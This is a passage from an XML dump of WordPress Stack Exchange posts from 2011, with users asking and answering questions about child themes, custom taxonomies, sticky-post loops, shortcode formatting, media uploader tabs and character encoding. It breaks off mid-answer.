  <row Id="11345" PostTypeId="2" ParentId="11343" CreationDate="2011-03-07T10:37:00.167" Score="2" ViewCount="" Body="&lt;p&gt;You can create a child theme AND have it override any of the template php files in the parent theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, as an example, if you want to have a specific page.php and you can't find a way of doing it using actions and filters in your child theme, just create a page.php file in your child theme and this new page.php will be used instead.&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-03-07T10:37:00.167" />
  <row Id="11347" PostTypeId="2" ParentId="9070" CreationDate="2011-03-07T11:10:11.513" Score="0" ViewCount="" Body="&lt;p&gt;I have added these code to my theme function.php for my custom taxonomy &quot;series&quot;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;add_filter('edited_terms', 'mysite_edited_terms');&#xA;function mysite_edited_terms($term_id) {&#xA;  if($_POST['taxonomy'] == 'series'): {&#xA;    $user = wp_get_current_user();&#xA;    if ($user-&gt;ID) {&#xA;      $terms = get_user_meta($user-&gt;ID,'users_terms_for_series');&#xA;      $terms = (empty($terms) ? $term_id : &quot;{$terms},{$term_id}&quot;);&#xA;      update_user_meta($user-&gt;ID,'users_terms_for_series',$terms);&#xA;    }&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&#xA;add_filter('list_terms_exclusions', 'my_list_terms_exclusions', 10, 2);&#xA;function my_list_terms_exclusions( $exclusions, $args ) {&#xA;  global $pagenow;&#xA;  if (current_user_can('can_manage_all_terms') &amp;&amp; &#xA;    $pagenow=='edit-tags.php?taxonomy=series') {&#xA;    $terms = get_user_meta($user-&gt;ID,'users_terms_for_series');&#xA;    $exclusions = &quot; {$exclusions} AND t.ID NOT IN ({$terms})&quot;;&#xA;  }&#xA;  return $exclusions;&#xA;}&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but nothing happened. This code is based on @MikeSchinkel. I think @Jan Fabry is right that the edit-tags.php doesn't listen to any arguments. But I dont no how to do that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help will be greatly appreciated. Thanks. &lt;/p&gt;&#xA;" OwnerUserId="1581" LastEditorUserId="1581" LastEditorDisplayName="" LastEditDate="2011-03-07T11:15:35.453" LastActivityDate="2011-03-07T11:15:35.453" />
  <row Id="11348" PostTypeId="1" CreationDate="2011-03-07T11:11:26.693" Score="0" ViewCount="120" Body="&lt;pre&gt;&lt;code&gt;function shop_restrict_manage_posts() {&#xA;global $typenow;&#xA;global $wp_query;&#xA;if ($typenow=='shop') {&#xA;    $taxonomy='shopcat';&#xA;    $shop_taxonomy=get_taxonomy($taxonomy);&#xA;    wp_dropdown_categories(array(&#xA;        'show_option_all' =&amp;gt; __(&quot;Show All {$shop_taxonomy-&amp;gt;label}&quot;),&#xA;        'taxonomy' =&amp;gt; $taxonomy,&#xA;        'name' =&amp;gt; 'shopcat',&#xA;        'orderby' =&amp;gt; 'ID',&#xA;        'selected' =&amp;gt; $wp_query-&amp;gt;query['term'],&#xA;        'hierarchical' =&amp;gt; true,&#xA;        'depth' =&amp;gt; 5,&#xA;        'show_count' =&amp;gt; true,&#xA;        'hide_empty' =&amp;gt; false,&#xA;    ));&#xA;}&#xA;}&#xA;function shop_convert_parse_query($query) {&#xA;global $pagenow;&#xA;$qv=&amp;amp;$query-&amp;gt;query_vars;&#xA;if ($pagenow=='edit.php' &amp;amp;&amp;amp; isset($qv['taxonomy']) &amp;amp;&amp;amp; $qv['taxonomy']=='shopcat' &amp;amp;&amp;amp; isset($qv['term']) &amp;amp;&amp;amp; is_numeric($qv['term'])) {&#xA;    $term=get_term_by('id',$qv['term'],'shopcat');&#xA;    $qv['term']=$term-&amp;gt;slug;&#xA;}&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code was work before upgrade as wordpress 3.1.&#xA;But after, this code doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;can anybody help me?&#xA;maybe something change, but I can find..&lt;/p&gt;&#xA;" OwnerUserId="2192" LastActivityDate="2011-03-07T11:11:26.693" Title="drop down list of custom post type is not working after upgrade as 3.1!" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;3.1&gt;" CommentCount="2" />
  <row Id="11349" PostTypeId="1" AcceptedAnswerId="11362" CreationDate="2011-03-07T11:14:47.627" Score="0" ViewCount="313" Body="&lt;p&gt;I am having trouble with multiple loops and sticky posts in wordpress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first loop I just want all the sticky posts.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php query_posts(array('post__in'=&amp;gt;get_option('sticky_posts'), 'cat' =&amp;gt; '-15,-17, -5, -2')) ?&amp;gt;&#xA;&amp;lt;?php if ( have_posts() ) : while ( have_posts() ) : the_post(); ?&amp;gt;   &#xA;&#xA;&amp;lt;?php $do_not_duplicate = $post-&amp;gt;ID; ?&amp;gt;&#xA;&#xA;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;&#xA;&amp;lt;?php endwhile; endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the second loop I want to get the all of the posts that are NOT sticky (so the sticky posts don't show). Currently all but the latest sticky post still show in the loop below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also the posts_per_page is including the posts in the first loop which I do not want. No matter how many sticky posts I add I want the number of posts that are NOT sticky to be consistent.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php query_posts($query_string . '&amp;amp;cat=-15,-17, -5, -2&amp;amp;post_type=post&amp;amp;posts_per_page=9'); ?&amp;gt;&#xA;&amp;lt;?php if ( have_posts() ) : while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;&#xA;&amp;lt;?php if( $post-&amp;gt;ID == $do_not_duplicate ) continue; update_post_caches($posts); ?&amp;gt;&#xA;&amp;lt;?php the_first_category(); ?&amp;gt;&#xA;&amp;lt;a&quot; href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;&amp;lt;?php the_excerpt(); ?&amp;gt;&#xA;&#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&#xA;&amp;lt;?php next_posts_link('Older &amp;amp;rarr;') ?&amp;gt;&#xA;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can anyone help or point me in the right direction?&lt;/p&gt;&#xA;" OwnerUserId="3766" LastActivityDate="2011-03-07T13:03:09.467" Title="Multiple loops with / without sticky posts and different post limits" Tags="&lt;query-posts&gt;&lt;loop&gt;&lt;sticky-post&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="11350" PostTypeId="2" ParentId="11324" CreationDate="2011-03-07T11:33:51.267" Score="0" ViewCount="" Body="&lt;p&gt;If this isn't a WordPress site, I'm not sure why this question is posted here?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, you should take a look at &lt;a href=&quot;http://wufoo.com/&quot; rel=&quot;nofollow&quot;&gt;Wufoo&lt;/a&gt;, it's one of the easiest way to collect information online &amp;amp; depending on how many entries you get, it's inexpensive or even free.&lt;/p&gt;&#xA;" OwnerUserId="799" LastActivityDate="2011-03-07T11:33:51.267" />
  <row Id="11351" PostTypeId="2" ParentId="11330" CreationDate="2011-03-07T11:35:35.143" Score="1" ViewCount="" Body="&lt;p&gt;I seem to have fixed this issue by calling &lt;code&gt;&amp;lt;?php get_sidebar(); ?&amp;gt;&lt;/code&gt; before the loop as opposed to after which seems to have fixed the issue. Not sure if this is technically the correct way to do things however this seems to have fixed my issue.&lt;/p&gt;&#xA;" OwnerUserId="3541" LastActivityDate="2011-03-07T11:35:35.143" CommentCount="2" />
  <row Id="11352" PostTypeId="2" ParentId="11330" CreationDate="2011-03-07T11:36:40.000" Score="0" ViewCount="" Body="&lt;p&gt;looks more like a CSS issue to me then a wordpress issue. Check your HTML code, it looks pretty valid to me meaning that the sidebar is displayed where it should be displayed. If you need to run it over the whole page you must place it somewhere else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You probably want to learn more about HTML and CSS first to better understand what is happening when the browser loads and displays your page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore you can save your page as HTML with all files (stylesheets and images), every modern browser has such a functionality. Then you can open that file from disk in your browser and in an editor and you can play around with the markup and stylesheets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you can re-order HTML elements and change styles until you achieved the layout you wanted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only thing left then is to apply those changes to your wordpress theme then.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're totally clueless, I suggest making use of a framework like &lt;a href=&quot;http://www.yaml.de/en/&quot; rel=&quot;nofollow&quot;&gt;YAML (Yet Another Multicolumn Layout)&lt;/a&gt; which has a &lt;a href=&quot;http://builder.yaml.de/&quot; rel=&quot;nofollow&quot;&gt;builder&lt;/a&gt; and I think there is a YAML based wordpress theme. Mind the license, it's not GPL but under CC.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2011-03-07T11:36:40.000" />
  <row Id="11354" PostTypeId="1" AcceptedAnswerId="16407" CreationDate="2011-03-07T12:05:39.790" Score="3" ViewCount="224" Body="&lt;p&gt;I include this logic in my template all the time&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (have_posts()):&#xA; //show content&#xA;else:&#xA; //show content not found&#xA;endif;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But recently i began to doubt its necessarity, wordpress will turn to 404.php when no post found, it seems no need to add this logic in normal templates, &quot;else&quot; will never be triggered, is it?&lt;/p&gt;&#xA;" OwnerUserId="2426" LastEditorUserId="2426" LastEditorDisplayName="" LastEditDate="2011-03-07T12:15:46.050" LastActivityDate="2011-05-05T07:31:24.413" Title="Do we still need to include a &quot;if (have_posts())&quot; in templates?" Tags="&lt;posts&gt;&lt;loop&gt;&lt;3.1&gt;" AnswerCount="2" FavoriteCount="0" />
  <row Id="11355" PostTypeId="2" ParentId="11354" CreationDate="2011-03-07T12:16:19.323" Score="2" ViewCount="" Body="&lt;p&gt;No, in most cases it's not needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;if ( have_posts() )&lt;/code&gt; would only be useful on the index.php file, if you don't have a 404.php template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And even in that case, you could use is_404() instead.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-03-07T12:16:19.323" CommentCount="1" />
  <row Id="11356" PostTypeId="1" AcceptedAnswerId="11363" CreationDate="2011-03-07T12:21:52.437" Score="0" ViewCount="140" Body="&lt;p&gt;Here's my very simple shortcode:    &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function box_shortcode( $atts, $content = null ) {&#xA;        extract( shortcode_atts( array(&#xA;            'width' =&amp;gt; 'auto',&#xA;            'height' =&amp;gt; 'auto', &#xA;            ), $atts ) );  &#xA;&#xA;       return '&amp;lt;div class=&quot;boxy-box&quot; style=&quot;width:'. $width .'; height:'. $height .';&quot; &amp;gt;'.do_shortcode($content).'&amp;lt;/div&amp;gt;';&#xA;    }&#xA;&#xA;    add_shortcode('box', 'box_shortcode'); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;[box]something[/box]&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;should give:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;boxy-box&quot; width:auto; height:auto;&amp;gt;something&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But, it doesn't. Even an empty shortcode (without a content, eg. [box][/box]) gives:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;boxy-box&quot; width:auto; height:auto;&amp;gt;&amp;lt;br/&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(I don't care, but don't know where the br comes from)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The main problem is that, when I try [box]something[/box] I'm getting:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;boxy-box&quot; width:auto; height:auto;&amp;gt;&amp;lt;br/&amp;gt;something&amp;lt;br/&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know WP editor formats text automatically and there are &quot;noP&quot; plugins out there, but firstly - I'm using the HTML editor, secondly, why the heck WP is adding Brs (sometimes p's) to an inline code? :O&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It wouldn't be a huge problem, but I HAVE to get PURE output, so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[box]&amp;lt;h1&amp;gt;Header&amp;lt;/h1&amp;gt;&amp;lt;div&amp;gt;Content&amp;lt;/div&amp;gt;[/box]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Will give a header and a div inside my box div, without any parapgrahs, brs, spans etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The funny thing is I have the same shortcode with h2 instead of div and it doesn't give any brs etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sometimes I'm also getting a &#xA;&lt;code&gt;&amp;lt;div class=&quot;boxy-box&quot; width:auto; height:auto;&amp;gt;&amp;lt;/p&amp;gt;$content (...)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[edit]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've found some comments on it:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This is driving me nuts as well. What&#xA;  the f**k is the point of having a&#xA;  html/code mode for posting if&#xA;  wordpress filters the god damn code&#xA;  and wraps around the tags anyways?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So I guess that's the problem. Is there a way of turning autop functionality at least for HTML editor? ;/&lt;/p&gt;&#xA;" OwnerUserId="1869" LastEditorUserId="1869" LastEditorDisplayName="" LastEditDate="2011-03-07T12:48:40.743" LastActivityDate="2011-07-05T17:59:28.150" Title="Automatically added brs and paragraphs?" Tags="&lt;posts&gt;&lt;shortcode&gt;&lt;editor&gt;&lt;formatting&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="2" />
  <row Id="11357" PostTypeId="1" AcceptedAnswerId="11365" CreationDate="2011-03-07T12:31:24.067" Score="1" ViewCount="269" Body="&lt;p&gt;I've managed to add a custom tab to the media uploader, but for some reason it doesn't come with the same layout - it doesn't load the media-uploader-header that contain all the other tabs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  add_filter('media_upload_tabs', 'my_media_upload_tabs_filter');&#xA;&#xA;function my_media_upload_tabs_filter($tabs) {&#xA;        unset($tabs[&quot;type_url&quot;]);&#xA;        unset($tabs['library']);&#xA;        $newtab = array('ell_insert_gmap_tab' =&amp;gt; __('Google Map','insertgmap'));&#xA;&#xA;        return array_merge($tabs,$newtab);&#xA;}&#xA;&#xA;add_action('media_upload_ell_insert_gmap_tab', 'media_upload_ell_gmap_tab');&#xA;&#xA;function media_upload_ell_gmap_tab() {&#xA;    return wp_iframe('media_upload_ell_gmap_form', $errors );&#xA;}&#xA;&#xA;function media_upload_ell_gmap_form() {&#xA;    ?&amp;gt;&#xA;    &amp;lt;h2&amp;gt;HTML Form&amp;lt;/h2&amp;gt;&#xA;&#xA;&amp;lt;?php&#xA;}  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="3603" LastActivityDate="2011-03-07T13:44:35.660" Title="custom tabs in media uploader" Tags="&lt;admin&gt;&lt;uploads&gt;&lt;media&gt;&lt;thickbox&gt;&lt;tabs&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="11358" PostTypeId="1" CreationDate="2011-03-07T12:31:55.093" Score="0" ViewCount="136" Body="&lt;p&gt;I've noticed that Wordpress has recently started replacing any unicode characters I enter with question marks. There are a couple of people who've had this issue on the word press forums but no one seems to have an answer to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone got a solution to this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I self host wordpress, but I've not got much control over PHP and DB settings. It's possible my host has updated the PHP libs or the DB. How would I find out?&lt;/p&gt;&#xA;" OwnerUserId="3769" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-06-07T14:32:04.383" LastActivityDate="2011-06-07T14:32:04.383" Title="Word press replacing unicode characters with &quot;?&quot;s" Tags="&lt;encoding&gt;" AnswerCount="3" />
  <row Id="11359" PostTypeId="2" ParentId="4019" CreationDate="2011-03-07T12:38:00.080" Score="1" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://www.webmaster-source.com/2010/01/08/using-the-wordpress-uploader-in-your-plugin-or-theme/&quot; rel=&quot;nofollow&quot;&gt;This is&lt;/a&gt; the best tutorial there is on using the default media uploader.&lt;/p&gt;&#xA;" OwnerUserId="3603" LastActivityDate="2011-03-07T12:38:00.080" />
  <row Id="11360" PostTypeId="2" ParentId="11344" CreationDate="2011-03-07T12:53:19.850" Score="0" ViewCount="" Body="&lt;p&gt;Take a look at&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/easy-review-builder-for-wordpress/&quot; rel=&quot;nofollow&quot;&gt;Easy Review Builder for WordPress&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/ratings-shorttags/&quot; rel=&quot;nofollow&quot;&gt;Review Ratings&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;they  both work as shortcode.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-07T12:53:19.850" CommentCount="1" />
  <row Id="11361" PostTypeId="2" ParentId="11349" CreationDate="2011-03-07T12:55:36.700" Score="0" ViewCount="" Body="&lt;p&gt;use post__Not_in:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;array( 'post__not_in' =&amp;gt; get_option( 'sticky_posts' ) )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3768" LastActivityDate="2011-03-07T12:55:36.700" />
  <row Id="11362" PostTypeId="2" ParentId="11349" CreationDate="2011-03-07T13:03:09.467" Score="0" ViewCount="" Body="&lt;p&gt;your problem is that in the first loop you overwrite &lt;code&gt;$do_not_duplicate&lt;/code&gt; for each post in the loop so at the end you only have the id of the last post.&#xA;if you change $do_not_duplicate into an array then you can add each post to the array:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//before the loop&#xA;$do_not_duplicate = array();&#xA;&#xA;//in the loop&#xA;&#xA;$do_not_duplicate[] = $post-&amp;gt;ID;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then you can just use in in the second query :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php query_posts($query_string . '&amp;amp;cat=-15,-17, -5, -2&amp;amp;post_type=post&amp;amp;posts_per_page=9&amp;amp;post__not_in='.$do_not_duplicate); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-03-07T13:03:09.467" CommentCount="2" />
  <row Id="11363" PostTypeId="2" ParentId="11356" CreationDate="2011-03-07T13:03:56.690" Score="1" ViewCount="" Body="&lt;p&gt;You can postpone the wp_autop filter. Wordpress has this filter enabled by default. And it is processing before the shortcode output. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;remove_filter( 'the_content', 'wpautop' );&#xA;add_filter( 'the_content', 'wpautop' , 12);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Add this to your &lt;code&gt;functions.php&lt;/code&gt; and check if the problem persist!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See a similar problem here: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/11134/stray-p-elements&quot;&gt;stray &lt;p&gt; elements&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2727" LastActivityDate="2011-03-07T13:03:56.690" CommentCount="3" />
  <row Id="11364" PostTypeId="2" ParentId="11358" CreationDate="2011-03-07T13:41:40.360" Score="2" ViewCount="" Body="&lt;p&gt;There's a big chance you can fix this by adding 1 line to your .htaccess file &lt;/p&gt;&#xA;&#xA;&lt;p&gt;AddDefaultCharset off&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively replace &quot;off&quot; with the actual charset you want to use. &lt;/p&gt;&#xA;" OwnerUserId="3770" LastActivityDate="2011-03-07T13:41:40.360" />
  <row Id="11365" PostTypeId="2" ParentId="11357" CreationDate="2011-03-07T13:44:35.660" Score="0" ViewCount="" Body="&lt;p&gt;found it. &#xA;in the automattic SVN for &lt;a href=&quot;http://svn.automattic.com/wordpress/trunk/wp-admin/includes/media.php&quot; rel=&quot;nofollow&quot;&gt;media.php&lt;/a&gt; i found the media_upload_header() function, and the only thing left to do is to echo it in the last function: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function media_upload_ell_gmap_form() {&#xA;    echo media_upload_header();&#xA;    ?&amp;gt;&#xA;    &amp;lt;h2&amp;gt;HTML Form&amp;lt;/h2&amp;gt;&#xA;&#xA;&amp;lt;?php&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;that's it.&lt;/p&gt;&#xA;" OwnerUserId="3603" LastActivityDate="2011-03-07T13:44:35.660" CommentCount="1" />
  <row Id="11366" PostTypeId="2" ParentId="11358" CreationDate="2011-03-07T14:01:09.490" Score="2" ViewCount="" Body="&lt;p&gt;Omar,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A good article about charsets can be found at &lt;a href=&quot;http://codex.wordpress.org/Converting_Database_Character_Sets&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Converting_Database_Character_Sets&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unless you have very specific requirements to the languages you are using, you will want to use charset utf8 with collation utf8_general_ci.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The default WP settings are OK for this. I.e. charset definition in wp-config.php will be UTF-8. No collation specified in that same file.&#xA;In WP admin read settings, encoding will be set to utf-8 as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check your database and database tables; these need to be set to have collation utf8_general_ci. If you're working with hosted WP, there's a fair chance these will have latin1_swedish.&#xA;If you dont have direct access to phpmyadmin use a plugin like adminer to get access thru wp admin.&#xA;If you need to convert any of your tables, check the article mentioned above. &#xA;If your database isnt too big, you can consider just converting and retyping the special characters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This should solve your problems. If not, let us know!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers,&#xA;Peter&lt;/p&gt;&#xA;" OwnerUserId="653" LastActivityDate="2011-03-07T14:01:09.490" CommentCount="2" />
  <row Id="11367" PostTypeId="1" AcceptedAnswerId="11372" CreationDate="2011-03-07T14:11:43.847" Score="1" ViewCount="183" Body="&lt;p&gt;This is a shortcode to add a question form in the &lt;a href=&quot;http://wordpress.org/extend/plugins/question-and-answer-forum/&quot; rel=&quot;nofollow&quot;&gt;Question and Answer Forum plugin&lt;/a&gt; for Wordpress:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[question_form width=\'x\' bordercolor=\'x\' style=\'x\']question form title[/question_form]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This short code calls this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//allow short codes  [question_form]&#xA;function question_form($atts,$content = &quot;&quot;)&#xA;{&#xA;    global $questionformid;&#xA;    include &quot;askquestionform.php&quot;;&#xA;    return $html;&#xA;}&#xA;add_shortcode('question_form','question_form');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and this is askquestionform.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;load_plugin_textdomain( 'qna-forum', false, 'question-and-answer-forum/languages' );&#xA;if(get_option('q_loginrequired_ask')==&quot;TRUE&quot; &amp;amp;&amp;amp; !is_user_logged_in())&#xA;{&#xA;    $html = &quot;&amp;lt;p&amp;gt;&quot;.__(&quot;Please login to ask a question&quot;,'qna-forum').&quot;&amp;lt;/p&amp;gt;&quot;;&#xA;    $html .= q_loginform(get_permalink());&#xA;    return $html;&#xA;}&#xA;&#xA;                                        //STYLING INFORMATION=============&#xA;$formstyle = &quot;&quot;;&#xA;$introstyle = &quot;&quot;;&#xA;if(isset($atts['width']))&#xA;{&#xA;    $formstyle .= &quot;width:&quot; . $atts['width'] . &quot;;&quot;;&#xA;}&#xA;if(isset($atts['style']))&#xA;{&#xA;    $formstyle .= $atts['style'];&#xA;}&#xA;if(isset($atts['bordercolor']))&#xA;{&#xA;    $formstyle .= &quot;border: 2px solid &quot; . $atts['bordercolor'] . &quot;;&quot;;&#xA;    $introstyle .= &quot;background-color:&quot; . $atts['bordercolor'] . &quot;;&quot;;&#xA;}&#xA;&#xA;if(!isset($_POST['title']) || $_POST['title'] == null)&#xA;{&#xA;    $qtitle = __(&quot;Enter Question Title&quot;,'qna-forum');&#xA;}&#xA;else{&#xA;    $qtitle = $_POST['title'];&#xA;}&#xA;if(!isset($_POST['question']) || $_POST['question'] == null)&#xA;{&#xA;    $Qtext = __(&quot;Enter Your Question Here&quot;,'qna-forum');&#xA;}&#xA;else{&#xA;    $Qtext = $_POST['question'];&#xA;}&#xA;&#xA;$html = '&amp;lt;form class=&quot;questionform&quot; name=&quot;questionform-'. $questionformid . '&quot; id=&quot;questionform-' . $questionformid. '&quot; style=\'' . $formstyle. '\'&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;question-form-intro&quot; style=&quot;' . $introstyle . '&quot;&amp;gt;';&#xA;if($content != &quot;&quot;)&#xA;{&#xA;    $html = $html . $content;&#xA;}&#xA;else&#xA;{&#xA;    $html = $html . __(&quot;Use the form below to ask a question&quot;,'qna-forum');&#xA;}&#xA;$html = $html . '&amp;lt;/div&amp;gt;';&#xA;include_once (ABSPATH . 'wp-content/plugins/question-and-answer-forum/coreform.php');&#xA;$html = $html . '&amp;lt;/form&amp;gt;';&#xA;&#xA;$questionformid = $questionformid + 1;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I created a template file called, &lt;strong&gt;question-form-page.php&lt;/strong&gt;, I pasted the whole code of &lt;strong&gt;askquestionform.php&lt;/strong&gt; but nothing is displayed (blank).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also tried placing the following in &lt;strong&gt;question-form-page.php&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;question_form($atts,$content = &quot;&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $questionformid;&#xA;include &quot;askquestionform.php&quot;;&#xA;return $html;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But I get the same result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-03-07T15:34:42.143" Title="Shortcode doesn't work if I directly paste its function in a template file?" Tags="&lt;plugins&gt;&lt;shortcode&gt;" AnswerCount="2" />
  <row Id="11368" PostTypeId="2" ParentId="11343" CreationDate="2011-03-07T14:26:23.747" Score="6" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;Is it ok to not a have child theme and just create a theme from scratch?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Yes of course, you'll just have to cover alot of ground, most developers work from a code base, so even if you're not using a child theme, it does help save alot of time by building on top of a theme &lt;strong&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/3725/wordpress-frameworks-and-parent-themes&quot;&gt;framework&lt;/a&gt;&lt;/strong&gt;(there's even minimalist frameworks available). That's not to say you can't code one from the ground-up, you might just be in for more work than you realise.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I personally use a &lt;a href=&quot;http://codex.wordpress.org/Child_Themes&quot; rel=&quot;nofollow&quot;&gt;child theme&lt;/a&gt;, because it means i have a code base that i can change simply by adding a file or a few lines CSS/HTML, ie. the child theme can selectively override templates or design elements it needs, and leave the rest to be inherited from the parent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When a request is made, be it for a category or date archive(or whatever else), WP will check if your child theme has a specific template in place for that request, if it does, WP includes the template from the child theme, else it 